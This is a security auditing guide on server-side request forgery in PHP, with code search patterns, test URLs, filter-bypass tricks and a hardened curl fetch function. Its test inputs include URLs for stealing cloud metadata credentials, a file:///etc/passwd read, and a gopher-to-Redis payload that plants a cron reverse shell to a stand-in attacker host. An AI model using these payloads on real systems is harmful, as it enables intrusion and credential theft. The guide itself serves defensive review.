SSRF in PHP
PHP apps make outbound HTTP for webhooks, link previews, OAuth callbacks, image proxies, “import from URL” features, RSS readers, embed generators, and a hundred other patterns. When the destination is user-controlled and the host isn’t allowlisted, the attacker reaches anything the app server can reach.
Why
Same-network surface usually exposed:
- Internal services bound to
127.0.0.1/ private RFC1918 ranges - Cloud metadata:
169.254.169.254(AWS IMDSv1, GCP, Azure) - Same-host control planes: Docker
unix:///var/run/docker.sock, k8s apiserver, Consul/Vault agents - Internal-only admin panels behind perimeter firewalls
- Other tenants in a multi-tenant deployment
PHP’s specific footguns are the breadth of functions that speak URLs and the variety of wrappers cURL knows about.
Search patterns
# Direct HTTP / socket calls
rg -n 'file_get_contents\(|fopen\(|fsockopen\(|stream_socket_client\(|get_headers\(|getimagesize\(' --type=php
# cURL — the most common SSRF surface
rg -n 'curl_init\(|curl_setopt\(.*CURLOPT_URL|curl_exec\(' --type=php
# HTTP clients
rg -n '(new\s+(GuzzleHttp\\\\Client|Client))|->(get|post|put|patch|delete|request|head)\s*\(' --type=php
rg -n 'Http::|HttpClient::|->send\(\s*\$request' --type=php
# WordPress
rg -n 'wp_remote_(get|post|head|request)\(' --type=phpTest inputs
Direct internal targets:
http://127.0.0.1/http://127.0.0.1:6379/(Redis)http://127.0.0.1:11211/(Memcached)http://127.0.0.1:9200/(Elasticsearch)http://127.0.0.1:2375/(Docker — usually exposes containers list)http://localhost:8080/http://[::1]/http://0.0.0.0/
Cloud metadata:
http://169.254.169.254/latest/meta-data/(AWS IMDSv1)http://169.254.169.254/latest/meta-data/iam/security-credentials/http://metadata.google.internal/computeMetadata/v1/(GCP — requiresMetadata-Flavor: Googleheader, but some apps forward request headers)http://169.254.169.254/metadata/instance?api-version=2021-02-01(Azure — requiresMetadata: trueheader)
Filter bypasses:
- Decimal IP:
http://2130706433/= 127.0.0.1 - Hex IP:
http://0x7f000001/ - Octal IP:
http://0177.0.0.1/ - IPv4-mapped IPv6:
http://[::ffff:7f00:1]/ - Mixed:
http://[::ffff:127.0.0.1]/ - Userinfo trick:
http://allowed.com@127.0.0.1/ - Open redirect chaining: point URL at an attacker-controlled host that 302-redirects to the internal IP
- DNS rebinding: TTL=0 records where the first lookup returns a public IP, the second returns 127.0.0.1
- Trailing dot to break naive host matchers:
http://internal.local./
Other wrappers (when cURL or fopen allows them):
file:///etc/passwdgopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0d%0a%0a%0a*/1+*+*+*+*+bash+-i+>%26+/dev/tcp/attacker/4444+0>%261%0a%0a%0a%0d%0a%0d%0a%0d%0a$4%0d%0aexec%0d%0a*4%0d%0a$3%0d%0aset%0d%0a$10%0d%0acrackit%0d%0a$23%0d%0a%0a%0a%2a/1+%2a+%2a+%2a+%2a+bash+-i+%3E&+/dev/tcp/attacker/4444+0%3E&1%0a%0a%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$10%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a%0a%0a(Redis-via-gopher RCE via cron)dict://127.0.0.1:6379/info
Audit focus
For each outbound HTTP / socket call:
- Source of the URL / host — attacker controlled? Webhook URL stored in DB by an earlier flow also counts — admin or tenant SSRF chains.
- Protocol restriction — is
CURLOPT_PROTOCOLSset toCURLPROTO_HTTP | CURLPROTO_HTTPS? Without it,file://,gopher://,dict://reach the call. - Redirect following — is
CURLOPT_FOLLOWLOCATION = true? Naive host allowlists are bypassed via attacker-controlled 302. - DNS resolution — resolved once and re-checked, or resolved by the HTTP client (DNS rebinding-vulnerable)?
- Response visibility — does the response leak back to the user (oracle for blind SSRF + cloud metadata leakage)? Even error messages that include the upstream response body are enough.
- Headers forwarding — does the app forward request headers (e.g.
Host,Metadata,X-aws-ec2-metadata-token) to the upstream? AWS IMDSv2 requiresX-aws-ec2-metadata-token; without it the call fails.
AWS IMDSv2 (token-based) blocks most naive SSRF against EC2 metadata. If
the target uses IMDSv2 and enforces it (HttpTokens=required), the
metadata path is dead. Check the instance’s metadata options.
Fix
Allowlist explicit hostnames where possible. For genuinely arbitrary URLs:
function safe_fetch(string $url): string {
$parts = parse_url($url);
if (!in_array($parts['scheme'] ?? '', ['http', 'https'], true)) {
throw new RuntimeException("bad scheme");
}
$host = $parts['host'] ?? '';
$ip = gethostbyname($host);
if ($ip === $host) throw new RuntimeException("dns failed");
if (filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
throw new RuntimeException("private IP");
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS,
CURLOPT_REDIR_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS,
CURLOPT_RESOLVE => ["{$host}:80:{$ip}", "{$host}:443:{$ip}"], // pin DNS
CURLOPT_TIMEOUT => 5,
]);
$resp = curl_exec($ch);
curl_close($ch);
return $resp;
}CURLOPT_RESOLVE pins the IP you validated, killing DNS rebinding.
CURLOPT_FOLLOWLOCATION = false kills redirect-based bypass.
Related
- Open Redirect — common entry point
- Host Header Poisoning
- Common Web Payloads